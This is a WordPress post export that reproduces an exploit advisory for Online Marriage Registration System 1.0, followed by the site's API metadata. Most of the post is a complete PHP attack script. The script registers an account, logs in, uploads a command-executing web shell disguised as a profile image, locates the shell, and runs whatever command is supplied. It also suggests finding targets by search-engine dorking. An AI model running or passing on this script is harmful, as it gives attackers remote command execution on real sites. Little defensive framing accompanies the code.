=============================================================================================================================================
| # Title : Online Marriage Registration System 1.0 php code injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 130.0.0 (64 bits) |
| # Vendor : https:\/\/phpgurukul.com\/online-marriage-registration-system-using-php-and-mysql\/ |
=============================================================================================================================================<\/p>\n
poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] This payload inject php code contains a back door.<\/p>\n[+] Line 16 + 19 Set your Target.<\/p>\n[+] save payload as poc.php<\/p>\n[+] usage from cmd : C:\\www\\test>php 1.php -u http:\/\/127.0.0.1\/omrs\/ -c dir<\/p>\n[+] payload :<\/p>\n
<?php
\/\/ Parse command line arguments
$options = getopt(“u:c:m:p:”);
$url = $options[‘u’] ?? null;
$command = $options[‘c’] ?? null;
$mobile = $options[‘m’] ?? null;
$password = $options[‘p’] ?? ‘inouvis2022’;<\/p>\n
if (!$url || !$command) {
die(“Usage: php script.php -u <url> -c <command> \\n”);
}<\/p>\n
function login($url, $mobile, $password) {
$loginUrl = “{$url}\/user\/login.php”;<\/p>\n
$ch = curl_init($loginUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
‘mobno’ => $mobile,
‘password’ => $password,
‘login’ => ”
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, ‘cookie.txt’);
curl_exec($ch);
curl_close($ch);<\/p>\n
\/\/ Extract PHPSESSID from cookie file
$cookies = file_get_contents(‘cookie.txt’);
preg_match(‘\/PHPSESSID=(\\w+);\/’, $cookies, $matches);
return $matches[1] ?? null;
}<\/p>\n
function upload($url, $cookie) {
$uploadUrl = “{$url}\/user\/marriage-reg-form.php”;<\/p>\n
$fileData = [
‘husimage’ => curl_file_create(‘shell.php’, ‘application\/x-php’, ‘<?php $command = shell_exec($_REQUEST[“cmd”]); echo $command; ?>’),
‘wifeimage’ => curl_file_create(‘test.jpg’, ‘image\/jpeg’)
];<\/p>\n
$ch = curl_init($uploadUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $fileData);
curl_setopt($ch, CURLOPT_COOKIEFILE, ‘cookie.txt’);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);<\/p>\n
echo “[+] PHP shell uploaded\\n”;
}<\/p>\n
function getRemotePhpFiles($url) {
$filesUrl = “{$url}\/”;
$ch = curl_init($filesUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);<\/p>\n
preg_match_all(‘\/\\d{10,42}\\.php\/’, $response, $matches);
return $matches[0];
}<\/p>\n
function execCommand($url, $webshell, $command) {
$commandUrl = “{$url}\/user\/{$webshell}?cmd=” . urlencode($command);
$ch = curl_init($commandUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$output = curl_exec($ch);
curl_close($ch);<\/p>\n
echo “[+] Command output\\n” . $output . “\\n”;
}<\/p>\n
function register($mobile, $password, $url) {
$signupUrl = “{$url}\/user\/signup.php”;<\/p>\n
$ch = curl_init($signupUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
‘fname’ => ‘indoushka’,
‘lname’ => ‘indoushka’,
‘mobno’ => $mobile,
‘address’ => ‘indoushka’,
‘password’ => $password,
‘submit’ => ”
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);<\/p>\n
echo “[+] Registered with mobile phone $mobile and password ‘$password’\\n”;
}<\/p>\n
$mobile = $mobile ?? strval(rand(100000000, 999999999));
$password = $password ?? ‘inouvis-2022’;<\/p>\n
if ($password === ‘inouvis-2022’ || $mobile === null) {
register($mobile, $password, $url);
}<\/p>\n
$cookie = login($url, $mobile, $password);
$initialPhpFiles = getRemotePhpFiles($url);
upload($url, $cookie);
$finalPhpFiles = getRemotePhpFiles($url);
$webshell = array_diff($finalPhpFiles, $initialPhpFiles)[0];
execCommand($url, $webshell, $command);
?><\/p>\n
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"
=============================================================================================================================================| # Title : Online Marriage Registration System 1.0 php code injection Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 130.0.0 (64 bits) || # Vendor : https:\/\/phpgurukul.com\/online-marriage-registration-system-using-php-and-mysql\/ |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] This payload inject php …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59589","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59589","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59589"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59589\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59589"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59589"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59589"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}